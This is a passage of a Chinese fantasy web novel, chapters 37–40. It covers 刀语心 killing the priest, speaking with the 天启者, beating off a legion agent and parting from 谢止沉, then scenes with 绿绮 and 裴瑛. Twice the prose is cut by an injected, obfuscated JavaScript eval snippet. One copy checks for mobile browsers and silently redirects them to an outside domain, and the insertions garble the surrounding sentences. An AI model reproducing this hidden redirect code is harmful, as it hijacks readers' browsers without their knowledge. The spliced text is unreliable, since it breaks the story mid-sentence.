祭司终于后知后觉,她这是被刀语心影响了,再这样下去她只有死路一条。 她……不想死,她绝对不想死去。 血量已经流失大半,如今已无力回天。 祭司狠下心舍弃躯壳,想要保全自己的灵魂,只要能有一些木偶傀儡,她依然可以卷土重来。 幽紫色荆棘圆环再一次浮现在她的掌心,她毫不犹豫地将其捏碎,只见从刀语心心脏处迸发出无数诅咒纹路将刀语心整个人包裹吞噬。 她扬起笑容,对祭司而言,刀语心的不幸就等于她的快乐。 只是在她脱离向外逃窜时,却感受到一股熟悉又可怖的力量缠上自己的灵魂,将她拽回躯壳之中。 “你想逃去哪里?” 刀语心毫无感情波动的声音此刻就是祭司的催命符。 祭司心下一惊猛然回头,在她的视觉之内,一个被幽紫色能量沾满的可怖身影朝自己走来。 最后的希望破灭,祭司不管不顾施放着无数复杂的法术朝刀语心攻去。 只是一切都被异化之力形成的屏障吞噬,没有一丝攻击波及刀语心,她依然平安无事地存在。 而祭司就要死了。 耳边只传来她自己的喘息,夹杂着刀语心的脚步声。 祭司只觉得自己从未这么可悲过,向来只有她玩弄别人性命的份,她从来没有被如此对待过。 可她不想死。 就算是被厌弃,她也不想死。 于是她放声求饶,祈求着一线生机:“不要杀了我,不要杀死我。”看着一步步朝她走来的刀语心,祭司只是拖着重伤的步伐惊恐地往后退去。 她想活下去。 她想要得到天启者的瞩目。 只不过俯视着祭司的刀语心目光中毫无波澜,握着剑柄的手中也没有一丝一毫的松懈,难道牧师和剑士就想要死去吗? 再者,她很清楚。 即便她真的给祭司一条生路,她也绝对不会心怀感恩,恶意也分轻重,在祭司身上感受到的恶意,是前所未有的浓厚。 见乞求刀语心无用,祭司转而向自己心底信仰的神明求助。 “天启者,救救我,救救我啊。” “你所期待的种子,就是个喜欢折磨别人的疯子,你为什么就不能多看我一眼!” 祭司彻底已经陷入魔怔。 看着眼前的一切,刀语心不由得感受到几分凄惨,祭司终其一生都被不可得之物困住,但这并不是她肆意玩弄他人性命的理由。 祭司需要付出代价。 刀语心一步步走上前,最终,剑锋毫不留情地贯穿祭司的身体,灵魂被锁死在躯壳之中,随着生命力的逝去而消失。 “为什么……不看我……” 从嘴角流下的鲜血,掩盖住祭司最后的声音。 四处蔓延的异化之力重新回到刀语心体内,她漠然地看着祭司,确认没有任何死而复生的可能。 祭司死了,但刀语心并没有大仇得报的快意,心中反而有些空荡。 刀语心思索着原因,大概是因为祭司不是恶的源头,而那些在暗中操纵着一切的身影还没有出现,只有将一切的根源抹去,才能避免这样的悲剧再度上演。 还没等刀语心从那种迷惘中抽离,只见祭司倒下的躯壳泛起光亮,然后慢慢浮空重新立起。 下意识间,刀语心已经拔出剑向祭司砍去。 只是她的剑尖被人钳住卡在半空,无法再移动半分。 她抬眼,看到祭司眼眶中不再是灰蒙蒙的雾,一种全新的,不属于祭司的视线从中射出。 接着,一道不包含任何情感的冰寒声音回响在这片空间之中: “刀语心女士,很高兴和你见面。” 38. 第 38 章 “你就是天启者?” 视线通过剑身交汇,那双本该被迷雾遮盖的眼中,浮现出一抹淡绿光彩。 “他们的确这么称呼我。” 虽然是同样的躯体和声调,但此刻被天启者操纵的祭司语调平缓,和之前陷入疯癫的那人有着天壤之别。 “我借用她的躯壳只是为了来见你一面,我有一个请求,请你不要破坏她的身体。” 说完,剑锋上的桎梏就消失,而祭司的皮肤表面也没有任何受损,刀语心面上不显,但心中有些惊叹于对方的实力,这需要很精准的控制力度。 “我没那个打算。”刀语心将剑收起。 如果不是天启者猝不及防操控着祭司诈尸,刀语心也不会再次拔剑。 “对于诅咒一事,我很抱歉。” 看着被诅咒缠身的刀语心,天启者对此感到些许愧疚,她本意是想让祭司带着装置给刀语心,但没想到绕了一大个圈子,最终祭司还多次引发刀语心身上的诅咒。 “不必多说,除非你能直接告诉我下诅咒的人是谁。”一点微乎其微的内疚,无法治愈任何伤痛。 “过早知道一些事情对你而言没有好处。” 听到这话的刀语心也没有气恼,她知道自己如今还是太过弱小,甚至没有知情的权利,但其他不那么重要的,她总能知晓。 “所以你一直知道祭司身上发生了什么?”否则天启者也不会在祭司死后立刻出现。 “对。” 在这些问题上,天启者对刀语心算得上是有问必答。 “你为什么不阻止她?” 占星会给刀语心的感觉并不是非常负面的组织,不仅是从迟明煦的描述,还是祭司的伪装,亦是牧师二人,这一切悲剧明明可以从头制止。 天启者,拥有如此至高称呼的她,不可能不知晓。 “这是属于她的命运。”她淡漠如云烟地说着,但刀语心不相信天启者对祭司的死毫无动容。 “命运?呵。”刀语心冷笑,“那么她苦苦乞求你的垂怜也是命运?” “你本可以拒绝她。” 先前祭司最后的悲鸣还不绝于耳,沉默半晌后天启者选择回避这个问题。 “失败的种子,会成为养料。” 说着天启者抬手,将祭司拥有的本源之力化作了一颗莹白色的种子,不由分说地融入刀语心的异化之力中。 刀语心猝不及防地被迫接受,对于不受控地突发情况她有些厌恶。 好在,吞并种子带来的是好处,刀语心感受到种子被异化之力吞并后,最本质的初始态多了许多。 由于原本属于刀语心的力量源泉不知所踪,产生初始态极其缓慢稀少,相比之下邪魔和魔矿转化的异化之力只是表层,吞噬种子获得的力量则更加纯粹。 这样一来能暂时解决初始态数量过少的问题。 只不过初始态目前除了能放大负面情绪之外,刀语心还没有琢磨出别的用法。 “芸芸众生,皆为棋子。”天启者突然开口,“无论是她,我,亦或是你,这是谁也逃不出的命运。” “这就是你放任她不管,到处作恶,从不给予她回应的原因?” 又一次沉默良久后,天启者开口:“是。” “她的命运正是因为你的存在才走向末路,这也是她既定的命运吗?” “算了。”刀语心不喜欢争论,“她已经死了。” 命也好,运也罢,刀语心只想做出自己的选择,而不是被束缚在虚无缥缈的命运之下。 “我只有最后一个问题,身为天启者,你是否能够占卜到自己的死期。” “可以。”她回答。 “我会一直在中央城等待着你的到来。” 话落,淡绿光芒从祭司眼眶中消失,毫无生机的躯壳重新跌落回冰冷的地面。 漆黑双瞳没有显露刀语心的任何心绪,只是在离开之前,刀语心往祭司身上引燃火焰,再用异化之力分隔界限,阻止火势蔓延殃及他人。 火焰会平等地将每个人化为灰烬。 确定祭司绝对再无任何死而复生的可能后,刀语心转身离去。 她抬起帘子,脚刚迈出门槛半步,耳边就传来谢止沉略微紧张的声音: “诅咒怎么又发作了。” 改良后的阻隔装置太过有效,以至于让刀语心忘了诅咒正在发作,还没等刀语心反应过来,治愈舒缓疼痛的法术就源源不断地落在刀语心身上。 “没事的,不用担心,我感受不到疼痛也可以自由移动。” 但感受不到,不代表没有影响。 通过探查法术,谢止沉看到刀语心所有的脉络都在被诅咒侵蚀,对躯体的损伤很大,他只能不断一处处将侵蚀散去。 长此以往下去不是个办法,谢止沉暗暗下定决心,他要找到解决方法。 “先回家吧。”谢止沉提议。 “好。” 本来刀语心处理完祭司后打算去卫队的,但此刻她这副模样并不适合出现在大庭广众之下。 只不过从他们重新踏上街道的那一刻,刀语心就感觉有视线粘在自己身上,而且视线的来源还不止一处。 又是这样。 自小被救世会布下各种各样视线监视的刀语心很难不察觉到。 “我去处理掉他们。”同一时刻发现的谢止沉想要先一步清除这些障碍,只是刀语心拉住谢止沉的动作。 “不,我想看看他们究竟要做什么。” 见两人在岔路口分开,追踪刀语心的人心中狂喜,这下阻碍少了一些,他不断追着刀语心到一条死路之中后,他显出踪迹先声夺人: “和我走一趟吧,锻造师。” “为什么?” 说着但刀语心并未回头,而是在心中盘算:只出现了一个,有些可惜,她不知道另一道视线究竟在哪里。 “哪有这么多为什么?军团需要你,是你三生有幸,你应该感谢军团的大恩大德。” 军团啊……得到想要的答案后,故意走到死路的刀语心终于转过身来,看着路口形单影只的军团手下,她语调平静地反问: “是吗?” 在看到刀语心藏匿在斗篷之下的人影布满幽紫色印记后,那人心下一惊,他不知道那些纹路代表什么,从未见过的东西会带给他无尽恐惧。 但他只能强忍着恐惧完成自己的任务,毕竟完不成任务他也会面对军团长的暴怒。 “你要是敢不配合,军团有的是办法让你死无葬身之地。”他语调不似先前那般强势,甚至有些细微颤抖。 闻言刀语心只是嗤笑一声,“那就尽管试试看好了。” “敬酒不吃吃罚酒……不对!我怎么动不了了?你做了什么?”他刚想要动手,却发现赤红色的线条在不知何时缠上自己的四肢,将自己控制得不能动弹。 她一个锻造师哪来这么多手段?军团的人慌张不已。 挣扎无果,那人只能眼睁睁看着刀语心慢悠悠拾起路边的木棒朝自己走来,活生生像是刚从地狱爬出来人间锁魂的恶魔。 无尽的恐惧从他心底升起。 对付这些人,轮不到刀语心动剑,更别提使用异化之力了,刀语心边走边找好角度,随后手中木棒向他挥出。 木棒与骨头碰撞后发出巨响,军团的人随后倒地不起,刀语心控制了力度,这只是一点小小惩戒,不会让他昏迷,更不会让他失去性命。 “你只有一次回答机会,你们找我想要干什么。”刀语心撑着染血的木棒,自上而下俯视着他。 碍于对死亡的本能恐惧,那人只得说出自己目的所在: “军团长想要抓你去帮我们锻造挖矿设备。” 意料之中的答案,刀语心不打算再多浪费时间,她重新拿起木棒,对着他的后颈比划。 “回去之后记得告诉他,没门。”说完刀语心挥出木棒就将他击晕。 拍拍手抖落手上的灰尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“借口!无能的废物!带下去,论逃犯处置。”在军团中,逃犯一般都会被处以斩杀之刑。 “此刻正是用人之际……” 身边的人出声劝阻,但军团长还是一意孤行,他狠戾的目光扫过开口之人,“再说下去,你也一样。” 提出建议那人只能闭上嘴,暗暗给其他人使了眼色。 “一个人不行,那我就上两个,三个……”军团长陷入了死循环之中,他从不反思这件事是否从一开始就是错误的。 他只知道,他得不到挖矿装置,那谁也别想得到。 他随手点出四个人,“你们,去杀了那个锻造师,如果不成功,你们就死在外面吧。” 被指派的人也面露难色,但迫于军团长的压力只好答应下来。 等到夜深人静鸟兽尽藏时,军团中有人拿出一个特制小巧的通信器发去消息,而另一头的设备此刻正在罗茜的手中。 除她之外,房间中还有简一和宋齐二人,看完传来的信息罗茜没有多说而是询问他们的看法。 “他还真是不得人心。”宋齐比较中肯,而简一恰恰相反。 “没有脑子的蠢货。” 听到回答罗茜没有说谁对谁错,只是笑着将通讯器放在一旁,一个响指打开屋内的全息投影。 “现在已知信息,帝国内乱,又和无名镇相隔千里。”罗茜边说,地图投影的西北方亮起危机信号,那是帝国所在。 “无名镇中,迟家、卫队,都只是装点。”跨过漫长海岸线,位于西南沙漠中的无名镇上也闪烁中立标识。 “最重要的是她,一颗还未升起的新星。”手指轻点,刀语心的幼年照片跃然投影在地图之上。 “她是蒙尘的星星,亦是未引燃的星火,如今摆在我们面前的有两种选择,让她在升起之前就此毁灭,或是助她点燃整个世界。” “你们不会永远待在我的身边,更何况在这个世界活下去最终靠的只有自己。”罗茜的指尖有规律地轻敲着扶手,捉摸不透的视线扫向其余二人。 “所以,回答我,你们认为筹码该压往何处?” 面临同样抉择的简一和宋齐,彼此抬眼对视。 39. 第 39 章 随着最后一道温润莹白的治愈光束从刀语心身上离开,她感觉到自己身体状态好上许多。 她抬起手臂,动作流畅许多,之前若有若无地僵硬感消失不见。 但那不祥又可怖的幽紫色咒文还没有消失。 对此刀语心倒是不怎么在乎,只是印记停留的时间似乎随着次数的发作越来越长了。 “谢谢你……”刀语心转身和站在一旁的谢止沉道谢,不过在看到对方脸色时她眉头蹙起。 “怎么脸色这么差?” 低头看见刀语心眼中的担忧后,谢止沉急忙控制了自己的表情,他知道刀语心是担心自己给她治疗这么长时间,消耗太多力量。 “不,我没事,我只是在想该怎么解决你身上的诅咒。” 虽然有了阻隔装置,刀语心不用再承受诅咒发作带来的痛苦,但诅咒的负面影响并不会消失,并且在发作期间持续侵蚀着刀语心身体中的脉络。 更何况这还只是一环诅咒发作,在刀语心的心脏上一共有三个荆棘圆环,这一点刀语心也很清楚。 “别担心,总会有办法的,等拿到资源点归属权,我就会离开无名镇。” 逃离的念头在刀语心这里从未有一刻被磨灭,如今拥有力量的她也不用再逃,她可以光明正大地离开。 她会扫清路上的阻碍。 在听到刀语心之后的打算,谢止沉赤色眼眸中闪过一瞬的纠结,随后开口:“我可能需要先离开一段时间。” 之后不在无名镇的话,他更不敢轻易从刀语心身边离开,当下是最合适的时机,还可以借此机会钓出一直潜藏在暗中的异形者。 “我想去找找看有没有什么可以解决诅咒的办法,或者延缓减轻之类的手段。” 这下轮到刀语心愣住,这还是她第一次面对朋友之间的短暂别离,她陷入思考。 虽然她有做过心理准备,也很清楚没有人会一直在她的身旁,只是刀语心在乎的人很少,在一同经历许多次危机后,谢止沉也勉强算得上其中之一,另一个位置毫无争议的是裴瑛。 而裴瑛一直都在镇上,刀语心随时可以去找她,但谢止沉如果不见了,刀语心不知道该去哪里寻找。 “如果你回不来了,我可以去哪里找你。” 听到这个问题的谢止沉脑海中闪过许多片段,思考片刻后他认真地回答刀语心: “邪魔域的最中央,我有极大的可能会在那里。” “好。”刀语心应下,她没有询问缘由,毕竟她需要的只是一个能够找到谢止沉的地方。 在离开之前,谢止沉给刀语心准备了很多东西,他边交给刀语心边介绍道:“这是治愈卷轴,那个是传送,这边的是防御、回法力值、反制、净化……” “你要离开很多天吗?”视线扫过放在桌上琳琅满目的法术卷轴后,刀语心问着。 “如果今晚离开,我大概后天就可以回来。” “那这些会不会有点……太多了?”她试探性地询问,就算是连续几天的大战,应该也用不掉数量这么多的卷轴。 “不多,都是这段时间积攒下来的,我本该早些给你的。”只是谢止沉之前觉得一两张又太少了,不知不觉就攒了很多下来。 “一定要记得按时吃饭。”他已经把刀语心爱吃的几道菜提前做好,又特地用法术保鲜封存。 “异形者应该会察觉到我离开的信息,这几天你注意安全,要是有解决不了的事情记得去找裴队长。” 从谢止沉的观察看来,他认为裴瑛会很乐意帮刀语心解决麻烦,只不过刀语心向来不喜欢求助他人。 想到这里,谢止沉又是忧心忡忡。 随即他抬手唤回一直缠在刀语心手上伪装手环的流光,注入了更多的力量,刀语心看着流光从淡得几乎透明的淡红变为浓烈至极的赤色,回到手腕上后她也能够明显感受到不同。 “你增加了什么新功能吗?” “嗯,不过暂时是个秘密。”说着谢止沉的眸光中闪过些许笑意。 “好吧。”没有察觉到恶意刀语心就不打算深究,再者她很明白,如果谢止沉真的想要杀死她,她已经可以死去许多次了。 “找不到也没关系,早些回来。”刀语心并不会把所有的希望寄托在他人身上。 “好,你快休息吧,晚安。”“晚安。” 走到门外简单告别,谢止沉说完后,刀语心关上了门,很快谢止沉也在一片赤红包裹中失去踪迹。 过了一会,刀语心再打开门,看到的就是空荡荡的院子。 突然只剩下她自己一人,难免有些不适应,不过手腕上的流光主动冒出,在刀语心眼前晃悠,似乎在说还有我陪着你。 有被安慰到的刀语心阖上门,回到自己的床上。 她没打开灯,屋内漆黑一片没有丝毫光亮,视线范围内除了赤红的流光,就只剩下她身上散发幽紫色光芒的咒文。 她抱着双腿在床上蜷缩着。 说实在的,刀语心其实并不讨厌有规律且复杂的印记,她甚至有心情研究将纹路拓印下来研究,在某些时候还可以用来震慑他人。 只不过这一抹紫色,总会勾起那些不是很美好的回忆。 她为什么会是种子?她为什么会来到这个世界?即便问了祭司,但她云里雾里故弄玄虚的话让刀语心对此依然一无所知。 一切的根源她暂时还不知道在何处,但身上的诅咒她能找到债主,救世会。 宛如深渊的眼中只有无尽的漆黑,但被埋葬起来的,那些深不见底的痛苦和悲伤从未有一刻消失,如今也是时候开始清算。 直到看着咒文彻底消退,刀语心才沉沉睡去。 —— 邪魔域中心。 血色弥漫的天空照映着一棵巨树,树冠上残破的树叶随风飘落,在摇晃半晌后落在谢止沉肩上,还没停留多久就被声响震下。 “为了一枚种子,你要冒险穿梭?”悠远腔调中是反对之意。 “这只是告知,并不需要你同意。” “呵,狂妄。你难道以为你还是曾经的你?” 面对质疑谢止沉不打算辩驳,他只是轻轻抬手,无数红光涌入树根上的裂隙,尽管被刻意阻拦但最终还是被撕开一道豁口。 “你隐藏了力量?”古老的声音中全是不可置信。 对此谢止沉眼中闪过不屑,他轻飘飘地解释着:“我展现出多少力量付出多少行动,取决于合作对象的价值,是你不配。” 声音主人被接二连三打脸,咬牙切齿地回应:“那枚种子最好值得你背负这么高的风险。” “她当然值得。”说着谢止沉头也不回地走进泛着红光的豁口之中。 “哼,那我便恭祝你一路顺遂。” “不用你说。”话落,谢止沉的身影彻底消失不见。 另一边,正坐在工作台前尝试解读诅咒的刀语心没有注意到手腕上流光颜色变黯淡了一瞬。 她在复刻诅咒纹路。 由于锻造的关系,她接触过很多刻印,她发觉诅咒的纹路和某些刻印有些相似,再加上谢止沉留下的卷轴,一番比对后刀语心得出结论:由线条构成的图案有很多共通之处。 只是若由她自己慢慢排查,工程浩大且速度过慢,她打算只研究诅咒。 身上蔓延的印记是某一条片段不断重复,刀语心将主体画下来但毫无作用,她猜想应该是要按照某种特定的轨迹才会让诅咒生效。 只是诅咒整体图案错综复杂,她不知道该从何处下手。 这时,一阵敲门声突然响起,正当刀语心疑惑是谁找她时,一道声音传入她的耳中。 “刀语心——开开门啊,我是绿绮。” 听到绿绮的喊声,刀语心嘴角挂起笑意,她放下手中的东西走到前院将门打开。 只见绿绮穿着一身连衣裙,繁复但不显杂乱,整个人看起来就像谢止沉做的抹茶蛋糕,总之就是非常可爱。 “我来找你啦,早上好呀。”说着,绿绮将手中准备好的礼物递给刀语心。 “谢谢,进来吧。”听到这话绿绮开心地上前揽住刀语心的手臂,怀着兴奋又好奇的心情进入刀语心家中。 “虽然我哥和我说拜访别人家时要带礼物,但他具体没说和我说过要送什么,我让人从中央城买了些战斗服过来,也不知道你喜不喜欢。” 还没等她回应,绿绮四处张望询问道:“那个医师呢?他离开了吗?” “对,他大概明天回来。” “真可惜……”绿绮眼中是满满当当的失望,原来只是短暂离开。 那个医师给绿绮的感觉很危险,还总是在刀语心身边不知道打的什么算盘,只不过现在不在也好,现在的时间只属于她和刀语心。 想到这里,绿绮晃着刀语心的手臂,声音激动地说:“去试试衣服吧?如果不喜欢的话我再去买其他的给你!” 无法拒绝绿绮闪烁着亮光的眼神,刀语心只好应下。 在刀语心换衣服的期间,绿绮在门外絮絮叨叨地说着:“虽然你平时披着斗篷穿着紧身衣、工作服之类的也很方便,但是我想战斗服会更便于你打架。” 片刻后,门被刀语心拉开,她整理着衣服跨出门扉。 “这样算合适吗……”她出声询问着绿绮,毕竟这还是刀语心第一次尝试穿战斗类型的衣物。 换上的过程很便捷,在触碰到容纳战斗服器件的一瞬,服饰就自动遍布她的躯体,极具科技感的同时,又有很多法术暗纹在光线照耀下时隐时现。 听到声响后绿绮视线转向,只见刀语心披在身后的过腰长发随风摇曳,服饰剪裁得体显得整个人十分干练,在那黑曜石一般的眼眸映衬下,绿绮总觉得刀语心有个杀手副业。 “天呐,羽蛇神在上,怎么会有人穿战斗服都这么好看?你简直是我见过最美丽的人类。” 闻言刀语心失声哑笑,怎么羽蛇神都来了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596240|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么夸张吗?” 被刀语心的笑晃了神,绿绮只觉得刀语心笑起来时,世间的一切都黯然失色。 “当然!”绿绮以同样明媚的笑颜回应着。 说罢,绿绮就围着刀语心转了一圈,只是还没等更多的溢美之辞从绿绮口中说出,一阵风吹过二人,绿绮突然愣在原地。 “刀语心,你背上怎么会有诅咒的痕迹?”绿绮的声音中带着因恐惧而生的颤抖。 战斗服后背为了附加特性一部分采用特殊材质半透明设计,但如今被风扬起的发丝,让不祥的幽紫色暴露在视野之下。 “印记还在吗?”昨晚刀语心没有看到自己身上的死角,没想到还有遗漏,看来这次诅咒持续的时间是整整一天。 察觉到绿绮面色不善,刀语心出言安慰:“不用担心,我没事的。” “是主教做的吗?”绿绮并不是愚笨之人,她明白刀语心的恶意绝不可能是突然出现,一切都是因果相连。 犹豫片刻后,刀语心点头:“是。” 而且不知为何,诅咒还和占星会有莫大的联系。 过去不好的记忆在绿绮脑海中闪回,她见到过承受诅咒的生命消逝,一种莫名的恐慌缠上她的心头,不知不觉间碧绿的竖瞳中蓄满了泪水摇摇欲坠。 “没事的,我一点都不痛。”刀语心摸着绿绮的脑袋,安慰着她。 断了线的泪珠从绿绮苍白的面庞上滑落,还没等刀语心手足无措地给绿绮拭去眼泪,她就自己极快地抹去了。 “是我没用,受到诅咒的人是你,现在却还要来安慰我。”绿绮捂着脸哭着说。 “怎么会。”只是不知为何,刀语心越说绿绮掉的眼泪就越多,她哭着扑在刀语心怀里,刀语心也没有拒绝这个拥抱,轻拍后背安抚着绿绮。 等到绿绮情绪稳定下来,才擦着眼泪磕磕绊绊地和刀语心解释着: “真抱歉,还让你安慰了我这么久……我的妈妈,就是受到诅咒才去世的,我很害怕。”绿绮的语序有些混乱,一想到刀语心也可能会因为诅咒而逝去,绿绮就开始止不住的恐慌。 最开始绿绮只是追逐着救世主之名,但直到她真的来到无名镇亲自见过刀语心,并相处一段不算长的时间后,她真正地发自内心喜欢着刀语心。 刀语心是很好很好的人,绿绮不希望她死去。 “关于诅咒,主教从未和我说过。”绿绮语调中满是情绪低落,刀语心也看得出来,绿绮先前看到诅咒的震惊不似作假。 为了转移绿绮的注意力,刀语心和她谈起之前心中的想法: “说起来我有一个不情之请,我想让你留在无名镇,这是我个人自私的请求,你不答应也没事的。” 诅咒必须得到解决,刀语心也必须离开,只是她还不知道自己之后究竟要去往何方,但无可否认的是,她的起点是这里。 听到这话的绿绮急忙拉着刀语心的手说道:“怎么能叫自私呢,硬要说的话,我把对未来的期望寄托在你身上才叫自私。” 而且绿绮也明白刀语心的顾虑。 “我知道自己还不够强,即便在你身边我也很难帮上忙,再说了,留在这里我也能实现一直以来的期望。” “我希望有一个地方,是拥有希望的,没有战乱没有饥饿,人和异兽能够共存,大家能够一起走向未来,这是我的梦想。” 而无名镇就是很好的土壤。 “所以你放心吧!我一定会好好地待在无名镇,把属于我们的救世会发扬光大!” 在一旁静静聆听的刀语心看着少女的脸上绽放着名为希望的热烈光彩,她笑着说:“好,我相信你。” 先前的试验品也验证成功,那么只需要将输送信号范围扩大制造成信号站,就可以达到将信息匿名远距离传输到神殿的目的。 “我想再确认一下你的想法,你想杀死的人是那部分对真正救世不感兴趣,并以此敛财迫害他人的高层,并不是那些真正想要弑神的人,对吧?”绿绮有些纠结地发问。 “对,我不想伤及无辜。”刀语心只想让该死的人去死,“如果那些弑神之人所求也是真正的救世,你可以提前通知他们避险。” 无论如何,刀语心会利用神殿达成自己重创主教的目的。 “我明白了。”在绿绮的帮助下刀语心敲定名单,刀语心特地留下了主教和巫津的名字,但他们的左膀右臂都会被砍断。 拿起最终名单,刀语心扫描输入信息。 无论真伪,只要这份资料昭示救世会某些人对神明的不轨之心,就会达到刀语心的目的,信徒们容不得自己的神明被亵渎。 敲下最后的按键发送,一种大仇得报的快意涌上心头,只不过持续时间十分短暂。 刀语心很清楚这次只是一次小小的报复和示威,如果救世会再敢干涉她之后的行动,那么她会带着他们所有人一起前往地狱。 礼物一经送出概不退回,希望主教喜欢这份大礼。 40. 第 40 章 黎明尚未到来的清晨,是永无止境的黑。 躺在床上的刀语心眉头紧皱,汗液从额头滑落隐入发丝之间。 她被不知名的怪物追赶,不停地奔走在看不到尽头的道路上,眼前突然出现一扇门,她毫不犹豫地推开躲入其中,给自己争取到了片刻喘息的时间。 梦中的她紧靠着门坐下,还没等剧烈的心跳声平息,她的精神再一次紧绷起来。 从门框的缝隙间渗入了藤蔓不断朝着她蔓延,她只好向更深处退却,但最终她无路可退,从推开门的那一刻开始,她就成为困兽。 最终,藤蔓缠上她的脚踝,一路向上缠绕。 大腿、腰、肩颈、嘴巴……在被彻底夺走视线之前,她看到一双鎏金色的眼,只不过其中唯有袖手旁观的戏谑。 祂说,你会死去。 刀语心从床上猛然惊醒,她大口呼吸着空气,在重新获取一切感知之后,恐慌感才从她身上慢慢退却。 这只是个梦吗?刀语心不禁在心中发问。 不过她很快整理好自己的思绪,她很清楚,身处现实的她绝不会像梦中那样毫无挣扎的死去,至少在死去之前,她会拼尽一切剜掉那双高高在上的眼。 自小就饱受噩梦惊扰的刀语心本就不怎么喜欢睡眠,在惊醒之后她更是睡意全无。 她掀开被子起身走出屋子,抬眼看到将明未明的天空呈现着一种低饱和度的蓝,简单洗漱吃过早饭后刀语心继续投身锻造。 如今只剩下武器还未解决,救世会的委托她准备先用在卫队上。 只不过救世会给的咒能板有些太复杂了,虽然威力大但其他方面都是短板。 这种量产式武器并不同于针对个人能力专门定制的武器,不需要某一方面特别突出,而是要全方位发展适用于绝大多数人。 咒能板上的刻印是几种的整合,大概就是将能量转化并聚合为一道强大的攻击。 按照刀语心从书上获取的知识来看,这个咒能板形成的子弹像是旧世界中的狙击枪,间隔时间长威力大,但在实战里还是步枪更实用一些,间隔时间短威力中等。 是了,枪械。 刀语心找到了武器制作方向。 虽然没有足够的生产线去制造子弹,但咒能板的能量聚合恰好补足这个缺点,再加上魔矿本就是能源矿石,可以直接用作原料。 有了想法,那么刀语心就会将其实现。 熔炉的火焰被重新引燃,在它下一次熄灭之前,刀语心就可以将武器雏形制作完毕。 未细细改良的武器还有些粗糙但已经可以使用,刀语心来到院中抬起枪口对准墙壁上的目标,随着她扣下扳机,第一枚子弹划破空气正中靶心。 后续子弹的轨迹就有不同程度的偏移,但总体来说都在目标范围之内。 但这件武器不是她自己用,这件武器诞生的目的是给卫队众人在之后的资源点争夺战中使用,刀语心觉得自己有必要去询问一下裴瑛的意见。 回到屋内后刀语心的视线掠过绿绮送给她的衣物,停顿片刻后,她还是在几件一模一样的黑色斗篷中拿走其中之一披在身上。 不多时,刀语心就来到卫队的门前。 在路上她就听见非常整齐划一的训练声,走进卫队中更是有许多热切的视线向她投来,一些认识刀语心的人也带着笑容和她打招呼。 “之前的邪魔潮就是刀语心小姐引开的!” “她好厉害!!” “是吧是吧!而且最近医疗效率提上来了,也是因为刀语心小姐做的医疗装置!” “人美心善,我宣布刀语心小姐是我第三崇拜的偶像。” “前二是?” “当然是裴队长和叶副队啦。” 虽然她们声音不大,但刀语心还是听见了,完全没预想过这种场面的刀语心在脸颊泛红之前逃一般地快速离开,并迅速敲响裴瑛所在房间的门。 “请进。” 冲进房间又行云流水关上房门的刀语心松了一口气,在熟悉之人面前她才有足够的安全感。 “怎么一副落荒而逃的模样?”放下手中的工作,看着刀语心这副着急忙慌的模样,不过她很快就想起近来听到卫队中许多关于刀语心的夸赞,笑着问道: “是被她们夸得天花乱坠找不到北的吗?” “有点。”刀语心有些德不配位的心虚感,毕竟她一开始真的不是奔着拯救所有人去的。 她只是为了她自己。 “你拯救了整个无名镇这是无可争议的事实,你理所应当承载无数赞美,这是你应得的,或许需要一段时间习惯,但不要让这些好意成为你的负担。” 一个人不是生来就有着拯救世界的宏伟目标,对此裴瑛心知肚明。 “前段时间发生了什么?谢医师没有陪你来吗?”办公桌前起身,裴瑛拉着刀语心并肩坐到一旁。 裴瑛一直都很在意刀语心,只是身为卫队队长她身上担子太重,最近也忙着训练卫队众人以及制定作战计划,没有太多余力。 将自己受伤的片段隐去后,刀语心和裴瑛分享着自己这段时间的经历。 听着刀语心数次险中求胜,裴瑛知道其中艰辛是未曾经历之人无法想象的,刀语心的身上背负着很多阴谋和谜团。 “真是辛苦你了,只可惜我对诅咒也是一无所知,帮不上你的忙。” “没关系的队长,我会自己去寻找答案。”说起诅咒,刀语心就想起自己身上一连串的未解之谜。 “对了,队长你还记得救世会的吴阿婆吗?” 小时候的记忆太过久远模糊,而在救世会的时候,刀语心大多数时候都被关起来训练,和主教等人没有太多交流,更无法获得外界的信息。 她只记得吴阿婆是等阶很高的锻造师,也是她指导着刀语心走上锻造的道路。 在刀语心为数不多的记忆中,吴阿婆很严厉总是愁眉苦脸,刀语心没有见她笑过。 吴阿婆死的时候救世会慌作一团,不久后主教就带着大部分人离开无名镇,其中的原因刀语心一无所知。 听到刀语心的问题后,裴瑛也开始回忆着过去。 主教和吴阿婆是双生子,只不过除了相貌和名字之外,两人的性格乃至命运都大相径庭。 在裴瑛来到无名镇之后,吴阿婆就已经是一副年老体衰的模样,而主教虽然也同样年长但远没有如此衰老。 “我只记得她被发现自刎于家中,她的孩子是第一发现人。” “是不是那个叫吴德的家伙?”刀语心记得这人,比她年长两岁为人十分讨厌。 “对,他总是欺负你,为此我还教训过他一顿。” 说起这些刀语心的记忆也慢慢唤醒,好像是有那么一回事,她的食物总是被故意抢走、打翻,一些东西会被人偷偷拿走然后扔掉,当她以同样的方式报复回去之后,等待她的只有责罚。 年幼的她不知道原因,后来她才知道他们是血脉相连的家人,而她只是一件还算趁手的工具。 “想什么呢?”裴瑛抬手在刀语心眼前一晃,冲淡了她陷入泥潭的思绪。 视线一转,阳光从窗隙间洒落,刀语心回过神来,她知道自己早已从阴影之中脱离,曾经裴瑛给她带来的光芒冲散了那些渗入骨髓的阴翳,现在也一样。 “没什么,可能是昨晚没睡好的缘故。” 虽然没得到关键线索,但刀语心也不再纠结,吴德应该知道些什么,或许自己被封印转移的天赋就在他的身上。 如果真的是这样,他最好永远躲起来别让她找到。 